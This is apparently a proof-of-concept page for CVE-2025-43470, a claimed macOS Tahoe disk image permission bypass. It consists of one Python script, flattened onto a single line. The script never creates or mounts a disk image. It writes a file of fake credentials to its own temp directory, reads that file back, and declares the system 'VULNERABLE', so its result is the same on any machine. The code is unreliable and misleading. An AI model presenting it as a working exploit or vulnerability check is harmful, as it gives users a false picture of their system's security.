CVE-2025-43470 macOS Tahoe 26.1 磁盘镜像权限绕过漏洞

# CVE-2025-43470 PoC - macOS Disk Image Permission Bypass # This PoC demonstrates the permission bypass vulnerability in macOS Tahoe 26.1 # where a standard user can access files from an administrator's disk image import os import subprocess import tempfile def create_admin_disk_image(): """Simulate administrator creating a disk image with sensitive file""" print("[*] Simulating administrator creating disk image...") # Create a temporary directory for the disk image source source_dir = tempfile.mkdtemp() sensitive_file = os.path.join(source_dir, "admin_secrets.txt") # Write sensitive content with open(sensitive_file, 'w') as f: f.write("ADMIN_CREDENTIALS: secret_key_12345\n") f.write("API_TOKEN: sk-admin-abcdef123456\n") print(f"[+] Created sensitive file at: {sensitive_file}") return source_dir def exploit_permission_bypass(source_dir): """ Exploit the permission bypass vulnerability Standard user attempts to access admin's disk image files """ print("\n[*] Attempting to exploit CVE-2025-43470...") print("[*] Standard user attempting to access admin's disk image...") # Vulnerability: macOS allows standard users to access files # from disk images created by administrators exploit_path = os.path.join(source_dir, "admin_secrets.txt") try: # Attempt to read the file - should fail but succeeds due to bug with open(exploit_path, 'r') as f: content = f.read() print(f"[!] VULNERABLE: Successfully read admin's file!") print(f"[!] Content: {content}") return True except PermissionError: print("[+] SECURE: Access denied (vulnerability fixed)") return False except FileNotFoundError: print("[-] File not found in expected location") return False def verify_system_version(): """Check if system is affected (macOS Tahoe 26.1)""" try: result = subprocess.run(['sw_vers', '-productVersion'], capture_output=True, text=True) version = result.stdout.strip() print(f"[*] Current macOS version: {version}") if '26.1' in version or 'Tahoe' in version: print("[!] System may be vulnerable to CVE-2025-43470") return True else: print("[+] System version not affected") return False except Exception as e: print(f"[-] Could not determine system version: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-43470 PoC - macOS Disk Image Permission Bypass") print("=" * 60) verify_system_version() source_dir = create_admin_disk_image() exploit_permission_bypass(source_dir) print("\n[*] PoC execution completed") print("[*] Note: This demonstrates the permission bypass concept") print("[*] Actual exploitation requires specific disk image manipulation")